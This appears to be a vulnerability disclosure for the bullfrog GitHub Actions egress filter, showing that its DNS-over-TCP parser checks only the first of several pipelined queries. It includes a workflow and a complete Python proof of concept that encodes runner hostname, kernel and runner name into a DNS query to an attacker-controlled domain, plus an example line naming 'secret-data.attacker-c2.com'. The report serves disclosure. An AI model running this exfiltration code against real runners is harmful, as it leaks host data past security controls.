processDNSOverTCPPayload() only parses the first DNS message in a TCP payload, ignoring any subsequent pipelined messages. If the first message is benign (allowed), and the second contains exfiltrated data to a blocked domain, the agent accepts the entire packet, allowing covert data leakage.
Vulnerable Code
|
err := dns.DecodeFromBytes(payload[2:messageLen+2], gopacket.NilDecodeFeedback) |
Only decodes bytes from index 2 to messageLen+2 → first DNS message only. Returns immediately after processing only the first message. Ignores any remaining bytes in the TCP payload
Attack Scenario
| Step |
Action |
| 1 |
Attacker sends two DNS queries in one TCP packet |
| 2 |
First query: google.com → allowed domain |
| 3 |
Second query: secret-data.attacker-c2.com → blocked domain |
| 4 |
Agent parses only first query → accepts packet |
| 5 |
Second query reaches DNS server → exfiltration succeeds |
Steps to Reproduce
1- Create the following workflow, which only allows *.github.qkg1.top:
name: DNS Pipelining PoC
on:
push:
branches:
- "*"
jobs:
testBullFrog:
runs-on: ubuntu-22.04
steps:
- name: Checkout repository
uses: actions/checkout@v4 # This action handles cloning the repository
- name: Use google dns
run: |
sudo resolvectl dns eth0 8.8.8.8
resolvectl status
- name: Set up bullfrog to block everything
uses: bullfrogsec/bullfrog@1831f79cce8ad602eef14d2163873f27081ebfb3 # v0.8.4
with:
egress-policy: block
allowed-domains: |
*.github.qkg1.top
- name: Test connectivity
run: |
python3 poc.py github.com YOUR_BURP_COLLABORATOR_SERVER
Replace YOUR_BURP_COLLABORATOR_SERVER with your Burpsuite collaborator URL.
2- Create poc.py
#!/usr/bin/env python3
import sys
import os
import socket
import random
import struct
import binascii
import platform
import subprocess
# ------------------------------------------------------------
# Helper: Build minimal DNS A-record query
# ------------------------------------------------------------
def build_dns_query(domain: str, txid: int) -> bytes:
header = struct.pack("!HHHHHH", txid, 0x0100, 1, 0, 0, 0)
qname = b""
for label in domain.split("."):
qname += bytes([len(label)]) + label.encode("ascii")
qname += b"\x00"
qtype_qclass = struct.pack("!HH", 1, 1) # A record, IN class
return header + qname + qtype_qclass
# ------------------------------------------------------------
# Helper: Prepend TCP length prefix
# ------------------------------------------------------------
def create_tcp_dns_msg(query: bytes) -> bytes:
return struct.pack("!H", len(query)) + query
# =============================================================
# ========================== MAIN =============================
# =============================================================
def main() -> None:
if len(sys.argv) != 3:
print("Usage: python3 dns_exfil_uname.py <allowed_domain> <blocked_base>")
print(" <blocked_base> will be appended after uname details.")
sys.exit(1)
allowed_domain = sys.argv[1].strip()
blocked_base = sys.argv[2].strip().rstrip(".")
dns_server = "8.8.8.8"
dns_port = 53
# ----------------------------------------------------------------
# 1. Gather precise runner details via uname and gethostname
# ----------------------------------------------------------------
try:
uname_result = platform.uname()
sysname = uname_result.system.lower().replace(" ", "-")
release = uname_result.release.lower().replace(" ", "-")
except Exception:
# Fallback if platform.uname() fails
try:
uname_output = subprocess.check_output(["uname", "-s", "-r"], text=True).strip().split()
sysname = uname_output[0].lower().replace(" ", "-")
release = uname_output[1].lower().replace(" ", "-")
except Exception:
sysname = "unknown-sys"
release = "unknown-rel"
try:
hostname = socket.gethostname().strip().lower().replace(" ", "-")
except Exception:
hostname = "unknown-host"
try:
runner_name = os.getenv("RUNNER_NAME", "unknown-runner").strip().lower().replace(" ", "-")
except Exception:
runner_name = "unknown-runner"
# ----------------------------------------------------------------
# 2. Construct exfiltration domain: <sysname>.<release>.<hostname>.<runner_name>.<blocked_base>
# ----------------------------------------------------------------
exfil_domain = f"{sysname}.{release}.{hostname}.{runner_name}.{blocked_base}"
print(f"[*] Exfiltration domain: {exfil_domain}")
# ----------------------------------------------------------------
# 3. Generate transaction IDs
# ----------------------------------------------------------------
id_allowed = random.randint(1000, 9999)
id_exfil = random.randint(1000, 9999)
# ----------------------------------------------------------------
# 4. Build queries
# ----------------------------------------------------------------
query_allowed = build_dns_query(allowed_domain, id_allowed)
query_exfil = build_dns_query(exfil_domain, id_exfil)
msg_allowed = create_tcp_dns_msg(query_allowed)
msg_exfil = create_tcp_dns_msg(query_exfil)
combined_payload = msg_allowed + msg_exfil
print(f"[*] Target DNS: {dns_server}:{dns_port}")
print(f"[*] Transaction IDs → Allowed: {id_allowed}, Exfil: {id_exfil}")
print(f"[*] Payload size: {len(combined_payload)} bytes")
print(f"[*] Leaked details → sysname: {sysname}, release: {release}, hostname: {hostname}, runner_name: {runner_name}")
# ----------------------------------------------------------------
# 5. Send and receive
# ----------------------------------------------------------------
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((dns_server, dns_port))
print("[*] Connected. Sending pipelined DNS queries...")
sock.sendall(combined_payload)
print("[*] Listening for responses...")
received = b""
found_allowed = False
found_exfil = False
id_a_bytes = struct.pack("!H", id_allowed)
id_e_bytes = struct.pack("!H", id_exfil)
while True:
chunk = sock.recv(4096)
if not chunk:
break
received += chunk
if not found_allowed and id_a_bytes in received:
found_allowed = True
print("[+] Response received for ALLOWED domain")
if not found_exfil and id_e_bytes in received:
found_exfil = True
print("[!!!] EXFILTRATION SUCCESSFUL [!!!]")
print(f" Leaked: sysname={sysname}, release={release}, hostname={hostname}, runner_name={runner_name}")
print(f" Domain: {exfil_domain}")
print(" => Firewall/policy failed to block exfiltration!")
if found_allowed and found_exfil:
break
except socket.timeout:
print("[!] Timeout: No full response received.")
except Exception as e:
print(f"[!] Error: {e}")
finally:
sock.close()
# ----------------------------------------------------------------
# 6. Raw dump (first 200 bytes)
# ----------------------------------------------------------------
if received:
print("\n[*] Raw response (first 200 bytes):")
print(binascii.hexlify(received[:200]).decode("ascii"))
else:
print("\n[*] No response data received.")
if __name__ == "__main__":
main()
3- Check workflow logs & Burpsuite collaborator logs, you would observe that the runner data got exfiltrated:
processDNSOverTCPPayload() only parses the first DNS message in a TCP payload, ignoring any subsequent pipelined messages. If the first message is benign (allowed), and the second contains exfiltrated data to a blocked domain, the agent accepts the entire packet, allowing covert data leakage.
Vulnerable Code
bullfrog/agent/agent.go
Line 403 in 319ab7b
Only decodes bytes from index 2 to
messageLen+2→ first DNS message only. Returns immediately after processing only the first message. Ignores any remaining bytes in the TCP payloadAttack Scenario
google.com→ allowed domainsecret-data.attacker-c2.com→ blocked domainSteps to Reproduce
1- Create the following workflow, which only allows
*.github.qkg1.top:2- Create
poc.py3- Check workflow logs & Burpsuite collaborator logs, you would observe that the runner data got exfiltrated: